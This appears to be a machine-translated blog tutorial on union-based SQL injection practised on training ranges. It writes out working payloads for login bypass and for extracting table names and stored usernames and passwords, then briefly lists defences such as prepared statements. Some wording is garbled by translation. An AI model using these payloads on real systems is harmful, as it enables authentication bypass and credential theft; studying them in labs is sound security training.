当前位置:网站首页>[web security] - [SQL injection] - error detection injection
[web security] - [SQL injection] - error detection injection
2022-07-03 16:01:00 【Great Leo】
Misinjection
Error display injection yes sql An infusion of . Refer to web The application did not verify the validity of the data passed in by the user , Thus, the attacker can construct sql Statement combined with page echo to get the desired data .
Relevant knowledge supplement
- Mysql The system has its own library :information_schema library , Used to store database metadata , Such as database name 、 Table name 、 The data type of the column .information_schema.tables Store database table data ,informatison_schema.columns Store database column data .
- union select: The joint query . Combine multiple select The result set of the query . Here we need to pay attention to each of the joint queries select The number of query columns must be the same , Therefore, in the injection process, we usually pass order by Determine the number of columns before joint query .
- group_concat(): This function is used to merge the query results into one row , Display separated by commas . Multi row display cannot be performed during joint query , adopt limit Line by line acquisition is too cumbersome , It can be done by group_concat() Merge all the query results into one row for display .
Range practice -GET
- Determine the injection point
Pass on a reference ’ You can see the following error reports :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
Therefore, it can be roughly judged that the background query statement may be :
select column_name from table_name where name = '\''.$name.'\''
Because Chuan Shen is a ’ It will cause one more in the whole statement ’ Come on , Unable to close normally, resulting in an error . Here we can construct a statement to close it .
vince' and 1=1 -- qwe ##-- qwe It's the annotator , equivalent #. stay URL in # May be used as an anchor , Therefore, this method is adopted for annotation
The range of practice is pikachu,vince Is the default account in the range .
Splicing the above sentence into the primitive sentence will be :
select column_name from table_name where name = 'vince' and 1=1 -- qwe'
hinder ’ It's commented out , The front constitutes a complete query statement .1=1 The result is True, Statement can be executed normally .
In the actual combat environment, it is rare to directly see the error reports of the database , So try to guess more ’ " ') ") And so on .

2. Guess the number of fields
After knowing the injection point, we can pass union select Get the data we need by joint query , But because of the characteristics of joint query , The number of query fields of two query statements must be the same , So we need to go through order by Guess the number of fields .
vince' and 1=1 order by 1 -- qwe vince' and 1=1 order by 2 -- qwe
vince' and 1=1 order by 3 -- qwe
Keep changing the number of columns , Until the data cannot be obtained .


You can see here , There are two fields . Then you can construct a joint query to judge the wrong point .
vince' union select 1,2 -- qwe

Both fields are echoed .
- Query the current database name
vince' union select database(),2 -- qwe

- The query table name
vince' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- qwe

- Inquire about users Fields in the table
vince' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe ##group_concat(distinct column_name) Is to duplicate the output

- Query record content
vince' union select group_concat(username),group_concat(password) from users -- qwe

Range practice -POST
- Determine the injection point
POST Injection usually occurs where the form needs to be submitted , Such as login box 、 Message board, etc . In the case of login box, it involves the concept of universal password , Suppose the query statement in the background is :
select * from users_table where username='\''.$username.'\'' and '\''.$password.'\''
This is if we are username The ginseng :
1' or 1=1 -- qwe
Then spliced into the query statement is :
select * from users_table where username='1' or 1=1 -- qwe and password=''
hinder and password=’' Be annotated out , The previous sentence is always true , So you can pass the authentication without paying attention to the password .

Now that the injection point is identified , Then the following operations are related to GET identical .
- Guess the number of fields
1' or 1=1 order by 1 -- qwe 1' or 1=1 order by 2 -- qwe
1' or 1=1 order by 3 -- qwe

- Judge the wrong point
1' union select 1,2 -- qwe

- Query the current database name
1' union select database(),2 -- qwe

- The query table name
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security' -- qwe

- Inquire about users The field name of the table
1' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe

- Query record content
1' union select group_concat(username),group_concat(password) from users -- qwe

summary
Injection can occur anywhere you interact with the database , During penetration testing , You can collect server types and database types as much as possible , The injection statement can be constructed according to the characteristics of the corresponding server or database .
sql Injection can be handled in the following ways :
- sql Statement precompile :sql The engine parses the statements in advance , No matter what parameters the user passes in, the original syntax structure will not be affected .
- Strictly check the transmission parameters : You can filter out some illegal characters or sql function .
At present, many languages have security functions to defend sql Inject , In general, paying attention to code specifications can effectively prevent sql Inject .
边栏推荐
- Pyinstaller is not an internal or external command, nor is it a runnable program or batch file
- Digital image processing -- popular Canny edge detection
- 从 flask 服务端代码自动生成客户端代码 -- flask-native-stubs 库介绍
- 子类隐藏父类的同名函数
- pycharm错Error updating package list: connect timed out
- Redis高可用与持久化
- 秒杀系统1-登录功能
- [combinatorial mathematics] binomial theorem and combinatorial identity (binomial theorem | three combinatorial identities | recursive formula 1 | recursive formula 2 | recursive formula 3 Pascal / Ya
- 软件安装信息、系统服务在注册表中的位置
- Salary 3000, monthly income 40000 by "video editing": people who can make money never rely on hard work!
猜你喜欢

【OpenCV 例程200篇】217. 鼠标交互获取多边形区域(ROI)

Seckill system 3- product list and product details

Detailed explanation of string function and string function with unlimited length

C language brush questions ~leetcode and simple questions of niuke.com

Popular understanding of decision tree ID3
![[系统安全] 四十三.Powershell恶意代码检测系列 (5)抽象语法树自动提取万字详解](/img/cd/00954b9c592c253d42e6a3b8298999.jpg)
[系统安全] 四十三.Powershell恶意代码检测系列 (5)抽象语法树自动提取万字详解

Wechat payment -jsapi: code implementation (payment asynchronous callback, Chinese parameter solution)

QT use qzxing to generate QR code

Distributed task scheduling XXL job

半监督学习
随机推荐
2022年Q2加密市场投融资报告:GameFi成为投资关键词
嵌入式开发:避免开源软件的7个理由
深度学习之三维重建
Persisting in output requires continuous learning
Semi supervised learning
Unityshader - materialcapture material capture effect (Emerald axe)
Create gradle project
First!! Is lancet hungry? Official documents
App移动端测试【3】ADB命令
Mongodb installation and basic operation
How to use annotations such as @notnull to verify and handle global exceptions
从 flask 服务端代码自动生成客户端代码 -- flask-native-stubs 库介绍
How are integer and floating-point types stored in memory
Effect of ARP package on FTP dump under vxworks-6.6 system
Digital image processing -- popular Canny edge detection
Pychart error updating package list: connect timed out
Microservice sentinel flow control degradation
Three dimensional reconstruction of deep learning
win32创建窗口及按钮(轻量级)
分布式事务(Seata) 四大模式详解